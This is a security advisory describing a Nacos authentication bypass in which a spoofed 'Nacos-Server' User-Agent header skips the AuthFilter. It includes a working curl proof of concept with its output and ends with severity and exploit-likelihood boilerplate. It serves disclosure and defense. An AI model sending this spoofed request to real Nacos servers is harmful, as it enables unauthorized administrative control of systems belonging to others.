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GHSA-36hp-jr8h-556f
No affected components available
When configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed.
The following request to the configuration endpoint gets rejected as we are not providing any credentials:
❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
{"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"}
However the following one gets accepted by using the Nacos-Server user-agent header:
❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
true
Impact
This issue may allow any user to carry out any administrative tasks on the Nacos server.
Measures severity based on intrinsic characteristics of the vulnerability, independent of environment.
No exploitation activity has been observed at this time. Continue routine monitoring.
The exploit probability is very high. The vulnerability is very likely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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